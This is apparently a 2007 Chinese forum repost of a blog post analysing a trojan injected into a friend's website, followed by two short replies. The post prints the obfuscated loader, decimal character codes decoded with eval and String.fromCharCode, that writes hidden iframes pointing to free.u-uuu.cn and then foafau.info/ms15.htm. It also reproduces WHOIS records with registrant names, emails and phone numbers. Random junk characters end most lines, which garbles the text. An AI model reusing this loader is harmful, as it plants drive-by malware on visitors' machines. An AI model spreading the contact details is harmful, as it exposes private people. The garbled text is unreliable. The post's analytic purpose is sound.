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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, j[6Raf/(n  
>uJ/TQU  
http://www.areway.cn/?p=175 x O7IzqY  
rsa&Oo D>  
8O1K[sEjui  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: H^1gy=kdj  
          R|!B,b(  
<script>t=’60,105,102,114,97,109,101, xn}BB}s{t  
32,115,114,99,61,104,116,116,112,58,47,47, *@ED}Mj+  
102,114,101,101,46,117,45,117,117,117,46,99, u}6v?!  
110,47,101,114,114,111,114,46,104,116,109, w?csV8ot  
32,119,105,100,116,104,61,49,48,48,32,104, !p 8psi0  
101,105,103,104,116,61,48,62,60,47,105,102, oN(-rWdhZ  
114,97,109,101,62′; 5, b]V)4  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ;K:8#XuV  
                                                                                                  !PUp>(  
<script>t=’60,105,102,114,97,109,101,32,115, ELa ja87  
114,99,61,104,116,116,112,58,47,47,102,114, Gt/4F-Gn  
101,101,46,117,45,117,117,117,46,99,110,47, TOI4?D]  
101,114,114,111,114,46,104,116,109,32,119, lu UYo  
105,100,116,104,61,49,48,48,32,104,101,105, :6;e\UE  
103,104,116,61,48,62,60,47,105,102,114,97, |sgXh9%x<  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 5nCu~<uJ  
document.write(t);</script> ``?6=mO  
                                                                                                  A~lIa$U$b  
<html xmlns=” >{Rb 3Z]  
http://www.w3.org/1999/xhtml &d`^ E6#  
“> 3]E(mRX  
<head> xk~Nmb}  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> <M[U#Q~?~e  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> $M"0BZQ?y!  
<title>首页 - 爱生活家庭网 :XT?jdg  
                                                                                                                                                    L&Qi@D0P  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 6!EYrX}rI[  
转换字符串后的大概内容是(谁点击后果自付): G5]1s  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 9 -jO,l  
                                                                                                                                  KO]N%]:&~  
查询玉米u-uuu.cn的详细信息: w\|Ei(  
Domain Name: u-uuu.cn i~qfGl p6)  
ROID: 20070901s10001s64972306-cn p*;Qz  
Domain Status: ok "EftN5?/  
Registrant Organization: 王雷 :h";c"  
Registrant Name: 王雷 <R1X \s.  
Administrative Email: czlovexs@126.com `hB1b["(  
Sponsoring Registrar: 北京万网志成科技有限公司 p {%t q$}.  
Name Server:ns.yovole.com rPq<Xb\  
Name Server:ns1.yovole.com #w3ru6*W  
Registration Date: 2007-09-01 17:54 {w`:KR6o7  
Expiration Date: 2008-09-01 17:54 [ug,jEH"S  
最后PING了一下地址 都没有什么…. ipKG!  
                                                                                                \k&1*b?h  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. a5`eyL[f  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> |#5 e|z5(  
<script language=”javascript” src=” ;MTz]c  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I>w^2 (y  
> zJ& b|L  
这个玉米应该有可能是木马作者的: >mIg@knE  
foafau.info的详细信息:  5) lW  
Access to INFO WHOIS information is provided to assist persons in W$\X~Q'0  
determining the contents of a domain name registration record in the VTh$a_P>  
Afilias registry database. The data in this record is provided by hH+bt!aH  
Afilias Limited for informational purposes only, and Afilias does not >BqCkyM9Kf  
guarantee its accuracy.  This service is intended only for query-based ]O!s 'lC  
access. You agree that you will use this data only for lawful purposes fCEz-TMW  
and that, under no circumstances will you use this data to: (a) allow, ~LE[, I:q  
enable, or otherwise support the transmission by e-mail, telephone, or |ViU4&d*  
facsimile of mass unsolicited, commercial advertising or solicitations RLKj u;u  
to entities other than the data recipient’s own existing customers; or ,@Z_{,b  
(b) enable high volume, automated, electronic processes that send Rlc$; Z9K  
queries or data to the systems of Registry Operator, a Registrar, or rpU/s@%L  
Afilias except as reasonably necessary to register domain names or LR$z0rDEM  
modify existing registrations. All rights reserved. Afilias reserves E5x]zXy4  
the right to modify these terms at any time. By submitting this query, .1ddv4Hk  
you agree to abide by this policy. dl/X."iv!  
Domain ID:D22418703-LRMS 2Ug.:![  
Domain Name:FOAFAU.INFO kG3!(?:  
Created On:20-Nov-2007 16:05:42 UTC DNth4z  
Last Updated On:20-Nov-2007 16:05:44 UTC I5pp "*u  
Expiration Date:20-Nov-2008 16:05:42 UTC V;[p438o  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Lk(S2$)*  
Status:CLIENT DELETE PROHIBITED I($,9|9F  
Status:CLIENT RENEW PROHIBITED mCb 9*|  
Status:CLIENT TRANSFER PROHIBITED ~'BUrX\  
Status:CLIENT UPDATE PROHIBITED   8Uj:  
Status:TRANSFER PROHIBITED { R*Y=Ie  
Registrant ID:GODA-040110615 ~ v1W  
Registrant Name:liu hong `Wf5  
Registrant Organization: rye)qp|  
Registrant Street1:beijing )}|mDN&P  
Registrant Street2: Hcl"T1N*  
Registrant Street3: o`U|`4,  
Registrant City:beijing d/B*  
Registrant State/Province: BRtXf0~&p  
Registrant Postal Code:100000 o8D{dS>,PL  
Registrant Country:CN vw r RZ"2  
Registrant Phone:+86.860108888777 %aLCH\e  
Registrant Phone Ext.: :`<psvd  
Registrant FAX: vo b$iS`>=  
Registrant FAX Ext.: eti9nPjG  
Registrant Email:bbbshiji@163.com iB{xvyR  
Admin ID:GODA-240110615 w4OW4J#  
Admin Name:liu hong UA0tFeH  
Admin Organization: 2NR7V*A  
Admin Street1:beijing =K6c;  
Admin Street2: ta! V=U  
Admin Street3: rUFFF'm\*a  
Admin City:beijing "#XtDpGk  
Admin State/Province: jT"r$""1d  
Admin Postal Code:100000 @DCJ}h ud  
Admin Country:CN g5TkD~w"  
Admin Phone:+86.860108888777 4hNwKe"Ki  
Admin Phone Ext.: aiR5/ ZD  
Admin FAX: |LFUzq>j  
Admin FAX Ext.: H0tF  
Admin Email:bbbshiji@163.com 9UmBm#"  
Billing ID:GODA-340110615 Y2vj}9jK  
Billing Name:liu hong e-!?[Ujv*%  
Billing Organization: }*-u$=2  
Billing Street1:beijing 5vGioO  
Billing Street2: j1Fw U  
Billing Street3: ]|BojSL_  
Billing City:beijing E(/ sXji!  
Billing State/Province: A5+5J_)*  
Billing Postal Code:100000 T/7vM6u  
Billing Country:CN AgI>  
Billing Phone:+86.860108888777 HwW6tQ  
Billing Phone Ext.: U 1F-~ {r  
Billing FAX: g =x"cs/[  
Billing FAX Ext.: z"av|(?d  
Billing Email:bbbshiji@163.com w@-b  
Tech ID:GODA-140110615 0:PSt_33F  
Tech Name:liu hong w7ZG oh(  
Tech Organization: Gx;xj0-"  
Tech Street1:beijing ;r@!a!NLB  
Tech Street2: =WjJN Q  
Tech Street3: 7AeP Gr  
Tech City:beijing 4[_L=zD  
Tech State/Province: cI3KB-lM#  
Tech Postal Code:100000 GMT or  
Tech Country:CN AI R{s7N  
Tech Phone:+86.860108888777 8vO;IK]9b^  
Tech Phone Ext.: -Qg,99M  
Tech FAX: wzxdVn 'S  
Tech FAX Ext.: iRouLd  
Tech Email:bbbshiji@163.com rV U:VL`2  
Name Server:NS27.DOMAINCONTROL.COM :B+Rg cqi  
Name Server:NS28.DOMAINCONTROL.COM To^# 0  
Name Server: /THNP 8.  
Name Server: OT%V{hD  
Name Server: yI:r7=KO  
Name Server: vh{9'vd3el  
Name Server: [lOf|^9  
Name Server: Np)ho8zU  
Name Server: F1\`l{B,\  
Name Server: &! OGIYC(  
Name Server: qlEFJ5;  
Name Server: fo;6huz  
Name Server: m6eFXP1U  
                                                                                                          gs-@hR.,s0  
接着下载每个文件里面的代码: ])S$x{.g  
一步一步看.. /bi6>GaC:E  
To">DOt  
P!9;} &  
$wgc vySx  
E0T&GR@.  
 ?;+^  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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